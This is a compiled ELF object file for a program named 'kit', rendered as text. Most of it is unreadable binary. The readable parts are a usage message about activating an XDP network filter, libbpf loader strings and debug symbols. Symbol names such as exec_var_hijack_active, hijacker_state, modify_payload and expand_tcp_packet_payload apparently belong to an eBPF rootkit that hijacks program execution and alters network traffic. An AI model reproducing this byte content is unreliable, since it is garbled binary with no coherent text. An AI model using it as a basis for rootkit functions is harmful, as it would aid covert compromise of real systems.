<05><00><00>J<19><00><00>k<1A><00><00>J <20><00><00>J<19> 
<00><00><05>8
<00>J<19>P
<00><00>

<EFBFBD>X
<00><00><05>h
![
pp
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p<00>
![
p![
p![
p![
p![
p ![
p(![
p0![
p8![
p@![
pH![
pP![
pX![
p`![
ph![
pp![
px![
p<00>![
p<00>![
p<00>![
p<00><00><00><00><00>
<00>]<00><00><00>Z<00>8
d
0<00>8
d
8<00>U
p
`<00><00>
x
<00><00><00>
<13>

<00><00>
<12>

<00><00>
<1A>
 
<00><00>
<08>
0
<00><08>
H
<00><08>
P
<00>X	<09>
p
<00><00>=<3D>
<00>
<00><00><08>
<00>
<00><00><08>
<00>
<00><00>	<09>
<00>
<00><00><05>
<00>
<00> <05>
<00>H<05>
@<00><00><05>
H<00>p<05>
h<00><00>+<2B>
p<00><00><14>
x<00><00><08>
<00><00><00>	<09>
<00><00><00>P<00><00>0\<00><00>0\<00><00>G<14><00><00>i<13><00><00><00><1A><00><00><00>&<26><00><00><00><08>(<00><00><08>0<00><00>	<09>`<00>-pp<00>v<08>x<00>v<08><00><00><00>	<09><00><00>-p<00><00><00>*<2A><00><00><00><08><00><00><00><08><00><00>	<09>0<00>-p@<00>e+<2B>X<00>e<08>h<00>e<08>p<00><00>	<09><00><00>-p<00><00><00>/
<00><00><00>
<00><00><00>
<00><00>	
<00>-p <00>1	<09>@<00>Y*<2A>P<00>1	<09>X<00>Y<08>h<00>Y<08>x<00><00>	<09><00><00><13><00><00>L<14>P<00><00>@<40>`<00><13>h<00><00><08>x<00><00><08><00><00><00>	<09><00><00><00><<3C><00><00><00><08><00><00><00><08><00><00>X	<09><00><00>@<05> 	<00>{<05>H	<00><00><05>p	<00><00><05><00>	<00><00>	<00>

<00>	<00>

<00>	<00><00>	

<00>:(

<00>:(
 
<00>Q	0
@
<00>w+4
P
<00>Q	0
X
<00>w	4
<00>
<00><00>'H
<00>
<00><00>H
<00>
<00>-p<00>
<00>	t<00>
<00><00>
 <00><00><00><00><00><00><00>)<29><00>%<25>D0(<00><00>
0<00><00>	
PDL`<00>F	$
h<00>v	(
<00>D<00><10><00><00>	8
<00>DCh<00><00>s	P
<00><00><00>	T
<00><00><00><00><00>
`<00>T4<00><00>u	d
<00><00><00>	h
 
<00><00>x
0
<00><00>3x
8
<00><00>8x
H
<00><00>+x
P
<00><00>Dx
X
<00><00>Hx
h
<00><00>=x
p
<00>:|
<00>
<00>c	<09>
<00>
<00><00>	<09>
<00>
D<00><18><00>
<00>!	<09>
<00>
<00>d	<09>
<00>
<00>}<05>
(![
p0![
p8<00><00>	<09>
P![
pX![
p`![
ph![
pp![
px![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00><00><00><05>
<00>=q<05><00>=<00><05><00>=<00><05>H=%	<09>`=%	<09>h=l	<09><00>=<00>!<21><00>=<00><1E><00>= (<28><00>=P <1E><00>=<00> <08><00>=<00> 	<09>=<00> 	
=2!	
0DCh@=p!	 
H=<00>!	$
X=<00><00><00>!<05>
<00><00>S"<08>
<00><00>j")<29>
<00><00><00>"-<2D>
<00>D0<00><00><00>"<0C>
<00><00>#
<00>J#	<09>(<00>P<00><00>#<1D>h<00><00>#<00><00>$<00><00>L$<00>DL<00><00>$
<00><00>$
 DCh0<00>%
@8<00>L%
DX<00><00>%Th<00><00>%7Tp<00><00>%<T<00><00><00>%/T<00><00><00>%HT<00><00><00>%LT<00><00><00>%AT<00><00><00>%h<00><00>&
l<00>=M&D
<00>=<00>&H
<00>=<00>&L
(	='\
X	=f'`
x	=f'`
<00>	=<00>'h
<00>	<00>'(<05><00>	<00>'b(


<00>'<00>(<12> 
<00>'<00>(
<0A>8
<00>'<00>(<12>P
<00>'<00>(
<0A>h
<00>'<00>(<12><00>
<00>'<00>(
<0A><00>
<00>'<00>(<12><00>
<00>'<00>(
<0A><00>
=<00>(p
<00>
=<00>(p
<00>
=<00>(t
<00><00>)><3E> <00>)<0C>(<00>j)
<0A>@D<00><18>h<00><00>)
<0A>x<00><00>)<19><00>=*$<24>
<00>=<00>*9<>

=<00>**<2A>

=<00>*<08>

=<00>*<19>
<00><00>$+
<0A><00><00>=f+	<09>
 =<00>+	<09>
0=@<00><00>+	<09><00>?<00>?<00>B<00><00>H<00><00>H<00> 
B<00>0
H6P
B<00>?<00>?<00><00>?<00>?<00><00>?<00>XB<00>hH6<00>B(	B'0	B<00>X	B<00>x	B<00><00>	B'<00>
B'<00>
B<00><00>
B't0<00>P
<00>X

<00>D	<00>
T	F ]<00><00><00>`)<00><00><00>o<00>
m<00><00><00><00><00>}<00>
<	LpX<00><00>@<00>
<00>		<00>	
%<00>
<<00>
<00><00>
<00> <00>	<00><00><00><00><00><00><00>
vp
	<00>
<00><00><00>4	 
D<00>
P<00>
g8<00>PfP<00><00><00>
<00>0<00>X<00><00><00><00>@{<00><00>
<00><00> <00>P<00><00>U8
t
h
<00><00>
<00><00>@R
<00>y	<00>{<00> <00>0<00>@<00>"<00><00><00><00>
4<00>
P&<00>
v&<00>
<00>&
<00>0
<00>:
J<00>

d<00>	
u<00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00><00>

<00>$<00>	
	<00>
<00>
)<00>
C<00>
S<00>
b<00>
<00>	
<00>3
<00>!
<00>#
-
D
,
<00>*|
-Z

J-]
te
<00><00>
<00>,|

<00><00>	
<00><00>
<00><00>
<00>
&
-

!
<00>&



&L	
'
&9
M
\
l
&N
<00>
&w
<00>
5<00>
<00>
&<00>
)c	

<<00>	
[*P
s
$e
;`
=6<00>
s<00>
u
<00>G<00>

Z
0 /
 )<00>
	7
}
<00>
<00><00>
h
<00>
@	q
<00>
<00>`
<00>0

<00> 
<00> 
<00>`
<00><00>
<00>(
<00><00>
<00><00>
<00>	
<00><00>
<00>
<00>8
<00>P

<00><00>

<00><00>

<00><00>

<00>
<00>H
<00><00>
<00>0
<00><00>
<00><00>
<00>
<00>p
<00><00>
<00> 
<00><00>
<00><00>
<00><00>
<00>	
<00>(	
<00>P	
<00>x	
<00><00>	
<00> 

<00><00>

<00>0
<00>h
<00><00>
<00><00>
<00><00>

<00><00>

<00><00>

<00>8
<00><00>
<00>h
<00><00>
<00>
<00>H
<00><00>
<00><00>
<00>
<00>h
<00><00>
<00><00>
<00>
<00>8
<00><00>
<00>8	
<00><00>	
<00><00>

<00>(
<00><00>
<00>
<00> 
<00>@
<00><00><00><00><00> <00>8
<00>D
<00>P
<00>\
<00>h
<00>t
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00>
<00>(
<00>4
<00>@
<00>L
<00>X
<00>d
<00>p
<00>|
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00>
<00>$
<00>0
<00><
<00>H
<00>T
<00>`
<00>l
<00>x
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00>,<00>,<00><<00>L<00>\<00>l<00>|<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>
<00>
<00>(
<00>8
<00>H
<00>X
<00>h
<00>x
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>	<00>	<00>(	<00>8	<00>H	<00>X	<00>h	<00>x	<00><00>	<00><00>	<00><00>	<00><00>	<00><00>	<00><00>	<00><00>	<00><00>	<00>
<00>
<00>(
<00>8
<00>H
<00>X
<00>h
<00>x
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>
<00>
<00> 
<00>0
<00>@
<00>P
<00>`
<00>p
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>$<00>4<00>D<00>T<00>d<00>t<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>
C

<00><00>o
p(w
$
<00>.<00>

<00>.

)

<00>.PC

2H/8

{
<00>/3F

<00>u<00>
gX<><00>
<00>
	P<>0<00>
	<00><><00>
	<00><00>
	<10><00>
?
	<00><><00>
w	<00><>0
	<00><>@L
L<>o<00><00>X
_X<>8

Usage: %s ./kit OPTION

Program OPTIONs-t[NETWORK INTERFACE]Activate XDP filter	%-40s %-50s

-vVerbose mode-hPrint this helpFailed to increase RLIMIT_MEMLOCK limit!
%H:%M:%S%s INFO  pid:%d code:%i, msg:%s
UNRECOGNIZED RB EVENT RECEIVEDActivating filter on network interface: %s
Error on input interfaceUnknown option: %c
Missing arguments for %c
:t:vhFailed to open and load BPF skeleton
Failed to load and verify BPF skeleton
Failed to create ring buffer
Filter set and readyK
<00>
<04>9}}}<00><00>

int<08><05><19><05><1B><05>9<05><1A>	<08>

<EFBFBD><00>1~3<07>6	<09>7	<09>8	<09>9	<09> :	<09>(;	<09>0<	<09>8=	<09>@@	<09>HA	<09>PB	<09>XD<16>`F<14>hH<07>pI<07>tJ<0B>xM<12><00>N<0F><00>O<08><00>Q<0F><00>Y
<0A><00>[<17><00>\<19><00>]<14><00>^	<09><00>_
-<00>`<07><00>b<08><00><19>
+	<08>	<08><0F><00>9	<08>	<08>	<08><0F><00>9	~<11><08><0E>	<08>	$<0E>	;<0C>
#
<0A>0
+|
/<0F>key
3<07>arg
7<0F>
:<07>doc
@<0F> 
I<07>(
 
q<13>	<08><00><15><15><15>	<08><11>`

<08>

l

<07>


r

<07>

}
$
} 
)
<07>$
,
	<09>(
/

x0
2
	<09>8
6
	<09>@
9
	<09>H
:
	<09>P
<
	<09>X8
<EFBFBD><08>
<EFBFBD><1D>
<EFBFBD><11>
<EFBFBD><0F>doc
<EFBFBD><0F>
<EFBFBD>G 
<EFBFBD>f(
<EFBFBD><0F>0
<EFBFBD>	| 
<EFBFBD>B
<EFBFBD>l
<EFBFBD><07>

<0F>

<07>
<EFBFBD>	B<14>f<15><15><15>	M	<08>	<08>	<08><12>tm8&	<07>
<07><07><07>
<07><07><07><07><07> <0C>(<0F>0<0F>D9}
<06>
	


<0A><12>
<0A><08>
<0A><0C>
<0A><0C>}<0F>9}2E
	@8E<08>szG	-N<0E>P<07>W<07>\<0E>_<08> c<0E>(j<0E>0
K
<08>	<08>	<08>	<08><0F>+<0F><0E>map<0F>+<0F>	x	<08><0F>j<0F><0E><0F>j<0F>u	<08>	{	pH)	sz
	-<0E>)		-obj0	 	<06>(
<06>,6	0
<06>8<06><<	@	/		<08>	<08>	1<0F>R	9
(

<02>	
<13>
<13>
<13>
<13>bss
<13> 0
<02>	
<17>
<17>
<17>
<17>
<17> 
<17>(0
M

{
{
{
 {
!{ 
"{(
$	h

%<10>w
'	<09>

(<08>

)<08>

*<08>

+<08>

,

-$
.<08>
;
/-=
0<08>
s
1=u
2M<00>
3]<00>
4]


5]'

6=M

7]l

8]<00>

9m<00>

:]<00>

;}
<=<
=<08>[
><08><00>
?<08><00>
@<08><00>
A<08><00>
B	
C<08>
D<08>,
E<08>J
F<08>d
G<08>u
H
<00>
I<00>
J<00>
KB	<00>
L
<00>
M-<00>
N	<00>
O=<00>
P
	
Q<08>
R<08>)
S	C
T
S
U
b
VMq
W]t
X]<00>
Ym<00>
Z]<00>
[]<00>
\]<00>
]B	
^}
_]P
`]v
a]<00>
b<08><00>
c<08><00>
d<08><00>
e<08>
f<08>J<0F><00>
9<0F><00>
9<0F>
9
<0F>9<0F>-9<0F>=95<0F>M9<0F>]9F<0F>m9%<0F>}94<0F><00>9(<0F><00>9)<0F><00>9<0F><00>92<0F><00>9<0F><00>9<0F><00>9<0F><00>9<0F>
9<0F>9<0F>-9
<0F>=9<0F>M9#<0F>]9<0F>m9<0F>}9+<0F><00>93<0F><00>9<0F><00>9,<00>


obj
<15>
R	
<04>	8
#<04>	hbss
&<00>
g"<00>	<08>	M
	h
 }O
(
<08>pid<06>
<EFBFBD>	<09>O
[<0F><00>!9<00>
<0C>all<0E><0E>
all<0E><0E>
Hall<0E><0E>
<0E><0E>!pall"<0E>#<0E>

<10><07><06>$H&p,<0C>-<0F>.<0F>1
2<0F>56<0F>97:<0F>(*<10>+<15>/<07>3<06>7
; 	<08>=7@<18>A<1D>env
<0F><07>"env<03>	#G<16>	$s<05><00>
<01><>%s<0E><02>L%sr<02>@"rbt<19><02>`#u<15><02>h"errv<0B><02>T#<02><08><02>X"opt<02><06><02>\&<02>
	<08>'V<0C>


<01>)(ctxV"<22><03><>%V-<2D><03><>%V:-<03><>"eW)<03><>"tmZ
/<03><>"ts[4<02>@"t\	~<03><>	<08>	<08>)I

<01>c(sigI<1D><02>l*;
<00>
<01><>#<<10><02>P'1<0C>N
<01><>%14 <02>l%1G<31><02>`%1WE<02>X+ <00>
<01>-(arg $<24><02>X#$<0B><02>`#%<0B><02>h'
<01>
<01><00>
<01>}(obj
<01>*<2A><02>X"s
<01><02>h,err
n	
'
<01>
<01>
<01><>(obj
<01><1F><02>h-
<01>
<01>
<01>'
x
<01>t
<01>%
x7<02>X"obj
z<12><02>h.err
<01>
	<08>/
k
C
<01>(obj
k"<22><02>h

%
:;9I$>
:;

:;I8$>5I	I
&I
:;9

:;9I8
:;9<

I
!I/7I4:;9I?<
:;9I8
'I
I
:;9

:;9I8
:;9

>I:;9
(
:;9I8&
:;9

:;9

:;9I8 
>I:;9
!!I/"4:;9I#4:;9I$.
?:;9'I
@<18>B
%:;9I&
:;9
'.
:;9'I
@<18>B
(:;9I).
:;9'
@<18>B
*.
:;9'
@<18>B
+.
?:;9'
@<18>B
,
:;9
-.:;9'I
@<18>B.
:;9
/.
:;9'
@<18>B,<00>
^<00>


<01>






.outputuser/usr/lib/gcc/x86_64-linux-gnu/10/include/usr/include/x86_64-linux-gnu/bits/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/asm-generic.output/bpfuser/../commonuser/include/moduleskit.skel.h
kit.c<built-in>stddef.htypes.hstruct_FILE.hFILE.hstdio.hgetopt_core.hargp.htime_t.hstruct_tm.hresource.hint-ll64.hlibbpf.hmap_common.h	module_manager.h

	<03>
<05>	vtY<02><03>
$5<1A>/
uu<05>LX	Mb>$	<09>
Y2	K
<01>2	<09>
<01>.$<24>/
u<10><08>
<EFBFBD><0B>	<09>
<0A><11>;<3B>'t/<'t
<EFBFBD><08><05><03><12><03><13><11>L	<09>J<03>	<09>J<11>L	<09>J<03>	<09>J<11>L	<09>J<03>	<09>J<11>K	<09>J<14>L	<09>J<03>	<09>J<11>K	<09>J<14>M<12>><3E>)t1<)t<0B><08><05><03><13><03><15><13>K<15><13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>
L
<EFBFBD>	<03><10><03>nt<<03> 	<09>
Y(<03>m.<05>u<0B><><05><08>
<EFBFBD><05>
<08><><05>
<08>\?g#
f
t
<
K	u
<08>&4<><10><06>K<08>
<01>!j
<EFBFBD>
uD<t<19><02><07><02>	<08><07>EK<03>-
<EFBFBD>Z
<EFBFBD>Z
<EFBFBD>[
	w

Y<06>w/<10>	YI
!<08><05><><10>u
1<><31><08>
<0A><08><><EFBFBD>b<><08>#<23><>[	<05>u
<08><08><06>=g<08>^&u(<28>!<21>vv<08><06>.?<07>$uu<08>2<08>	/?gu	z.<08>
J!<04>
fv
Y

xdp_receive_____fmt_19handle_tp_sys_exit_read_____fmt_22handle_tp_sys_exit_read_____fmt_23handle_tp_sys_exit_read_____fmt_24handle_tp_sys_exit_read_____fmt_25handle_tp_sys_exit_read_____fmt_26handle_tp_sys_exit_read_____fmt_27handle_tp_sys_enter_execve_____fmt_30tp_sys_enter_read_____fmthandle_tp_sys_enter_execve_____fmt_32handle_tp_sys_enter_execve_____fmt_33handle_tp_sys_enter_execve_____fmt_34handle_tp_sys_enter_execve_____fmt_35handle_tp_sys_enter_execve_____fmt_36handle_tp_sys_enter_execve_____fmt_38_shortbufhandle_sched_process_exec_IO_lock_tgp_offsetstderrformattm_yday_IO_buf_endargp_statemessageoptoptchild_inputsrlim_tflagsxdp_receive_____fmt_20xdp_receive_____fmt_21groupbpf_program_IO_write_endunsigned inthandle_tp_sys_enter_execve_____fmt_40handle_tp_sys_enter_execve_____fmt_41handle_tp_sys_enter_execve_____fmt_42handle_tp_sys_enter_execve_____fmt_43handle_tp_sys_enter_execve_____fmt_44handle_tp_sys_enter_execve_____fmt_45handle_tp_sys_enter_execve_____fmt_46_freeres_listuser/kit.c_flags__RLIMIT_OFILEexec_module_attrtest_write_user_unique_____fmttest_write_user_unique_____fmt_50test_write_user_unique_____fmt_51test_write_user_unique_____fmt_52test_write_user_unique_____fmt_53fs_openlinklevel__rlimit_resourcetm_mdayshort intmodify_payload_____fmt_60btf_custom_pathrlim_maxEXITexpand_tcp_packet_payload_____fmt_54expand_tcp_packet_payload_____fmt_55expand_tcp_packet_payload_____fmt_56GNU C17 10.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectiontm_year__RLIMIT_LOCKSprint_help_dialogmodule_config_t__RLIM_NLIMITStm_monhandle_tp_sys_enter_execve_____fmt_31_IO_save_endmmapedhandle_tp_sys_enter_execve_____fmt_39handle_tp_sys_exit_read_____fmtrelaxed_core_relocsoverflow_arg_arealong long unsigned intcleanupattach_prog_fdexpand_tcp_packet_payload_____fmtkit_bpf__open_opts__RLIMIT_NPROCbpf_objectfs_module_attrkit_bpf__bsskconfigrb_eventexec_moduleLIBBPF_WARN_offsetmodify_payload_____fmttp_sys_enter_openatINFO_filenolibbpf_print_leveldata_sizeargp_optionsize_targs_doc_vtable_offset_markers_IO_read_base_Boolxdp_receive__RLIMIT_NICEargcxdp_module_attrkit_bpf__loadkit_bpfcodeprog_cntmodule_configmap_cntifindextm_hourbump_memlock_rlimitmapsexpand_tcp_packet_payload_____fmt_58charobject_name__rlim_t_mode__RLIMIT_NLIMITS_IO_markertp_sys_enter_execve_IO_read_ptrbpf_linkdataerr_streamxdp_receive_____fmt_1xdp_receive_____fmt_2xdp_receive_____fmt_3xdp_receive_____fmt_4xdp_receive_____fmt_5xdp_receive_____fmt_6__u32xdp_receive_____fmt_8xdp_receive_____fmt_9time_targp_domainipv4_csum_____fmtprog_skel_szlibbpf_print_fnrlim_cur_IO_write_baselong long intbpf_prog_skeletonsig_handlerhelp_filter_IO_save_basesched_module_attrheaderevent_type__RLIMIT_RSSring_buffer__RLIMIT_MSGQUEUE_freeres_buf_IO_backup_baseLIBBPF_INFO__pad0RLIMIT_AS__pad5expand_tcp_packet_payload_____fmt_57long unsigned intprogshandle_tp_sys_enter_execve_____fmtRLIMIT_FSIZEkit_bpf__destroyargpoptargargsargvlong doubleparsertp_sys_enter_readxdp_modulefs_moduleargp_childlinksrb_commRLIMIT_DATArlimit_IO_read_endexec_var_hijack_activerodataRLIMIT_CPUmodule_config_attr_tlong intoptionserror_tnext_IO_wide_data__RLIMIT_SIGPENDING__va_list_tagoptsexitingpstateskeletonfp_offsethijacker_statetp_sys_exit_readnamekit_bpf__openERRORargp_parser_tbpf_map_skeleton_IO_buf_basetest_write_user_unique_____fmt_48test_write_user_unique_____fmt_49_wide_dataRLIMIT_NOFILE__empty_lockprog_IO_codecvt_old_offset_IO_FILEreg_save_arearelaxed_mapsrlim_newLIBBPF_DEBUGdata_szinputevent_type_ttm_minroot_argptm_zonehandle_rb_eventpin_root_pathunsigned char__RLIMIT_RTTIMElinequoted_IO_write_ptr__RLIMIT_RTPRIOsched_modulebpf_object_open_optsbpf_object_skeletonmodule_config_attr__
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&
	d<>+
 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4
	<00><>9
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>L
3<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>e
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>y
4<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

<00>

o
)
.
t<
<00>A
H
M
<Y
s
e
7q
s<00>
<00><00>
<00><00>
"<00>
<00>
<00>

<00>
<00><00>
<00><00>
x	<00>
<00><00>
g	<00>
j



<00>	

<00>,

<00>9

<00>
F

 S

<00>`

<00>
m

\z

%<00>

<00><00>

<00><00>

<00><00>

<00><00>

C<00>

<00><00>

^<00>

<00><00>

<00><00>


	
G
#
<00>0
&=

J
<00>W
<00>d
<00>	q
<00>
<00><00>
1<00>
<00>	<00>
R<00>
&
<00>
F<00>
F	
{

!
h.
<00>
U
<00>o
<00><00>
<00>
<00>
h<00>
<00><00>
<00><00>
R<00>
!
<00>
<00>
<00>
(
<00>6
<00>D
<00>R
<00>
`
<00>	n
<00>|
c
<00>
A<00>

<00>
c<00>
{<00>
f<00>
<00>
<00>
<00>
<00>
A
<00>&
E4
<00>
<00>
<00>
5<00>
<00><00>
!	<00>

<00>
<00><00>
T<00>
<00><00>
T<00>
I
<00>
<00>)
<00>
0
IE
<00>W
<00>]
#c
<00>i
<00>o
<00>u
W{
1<00>
!<00>
<00><00>
<00><00>
<00><00>
\<00>
4
<00>
p<00>
<00><00>
.<00>
<00>
<00>	<00>
<00><00>
<00><00>
<00><00>
<00>
<00>
I<00>
a

W!
K3
<00>9
<00>?
<00>L
Ke
l	r
<00>
#<00>
<00><00>
h<00>
<00><00>
9<00>
<00><00>
<00><00>
<00><00>
A<00>
<00>


<00>

<00>2
<00>
@
<00>
N
M\
<00>q
<00>	<00>
`<00>
<00>
<00>
<00>	<00>
<00><00>
	<00>
<00><00>
=	<00>
<00>
	
<00>
	
<00>\	
<00>i	
<00>v	
<00><00>	
<00><00>	
<00>	
j<00>	
<00>
<00>	
*<00>	
<00>	<00>	
<00><00>	


j

<00>
&

*3

<00>	@

<00>N

<00>[

}
i

<00>w


<00>

R<00>

<00>	<00>

<00>	<00>

	
<00>


<00>

5
<00>

K
<00>

<00>

g
<00>

}

<00>
!
(/
?=
VK
mY
<00>g
<00>u
<00>
<00><00>
<00><00>
<00>
<00>
:<00>
]<00>
<00><00>
<00><00>
<00>


<00>
<00>+
)
9
O
G
u
U
<00>
c
<00>
q
<00>

<00><00>
<00><00>
<00>
C<00>
i<00>
<00><00>
<00><00>
<00><00>
<00><00>
A
<00>

'
`5
<00>C
<00>Q
<00>_
wm
W{
|<00>
<00><00>
<00><00>
B	<00>
<00>
<00>
<00>
<00>
<00><00>
j
<00>
=	<00>
<00><00>
<00>	
<00>7
>=
<00>C
RI
<00>
P
<00>\
<00>w
s<00>
<00><00>
L<00>
|<00>
<00><00>
><00>

<00>!
j.
<00>
;
*I
<00>c
<00>	q
}~
|<00>
><00>
<00><00>
<00><00>
}<00>
<00><00>
	<00>
<00><00>
3<00>
?
<00>
?
0*
?8
<00>E
<00>R
|_
>l
<00>y
<00><00>
<00><00>
	<00>
t<00>
<00><00>
<00>
[
<00>

<00>
<
<00>
<00>)
RF
<00>d
	<00>
`<00>
q
<00>
d<00>
<00><00>
<00><00>
<00>	<00>
^6

=
pd
)	k
<00><00>
<00><00>
<00>
<00>
<00><00>
<00><00>
M<00>
M<00>
k<00>
<00>

<00>.
<00>9
<00>t
<00>~
<00><00>
<00><00>
<00>
<00>
<00><00>
<00><00>
C<00>
V

<00>%
0,


<00>

 @C`<00><00><00><00><00><00><00><00><00>
<00> 
p@
<00>`
<00>.symtab.strtab.shstrtab.rela.text.data.bss.rodata.rela.debug_info.debug_abbrev.rela.debug_aranges.rela.debug_line.debug_str.comment.note.GNU-stack.note.gnu.property.rela.eh_frame 
@<00>

@<00>
<00>	
&
<00>

,<00>

1
<00>
<00><>>
s<>O
9@<00>%
@ J
<00><><00>
]
<00><>0
X@F
0	q
<00><>b
l@8F
}
01

<00>

<00>
0<00>
&

<00>
	

<00>
 <00>
0
x
<00>@PF


<00>
<00>	<00>
7
XG
<00>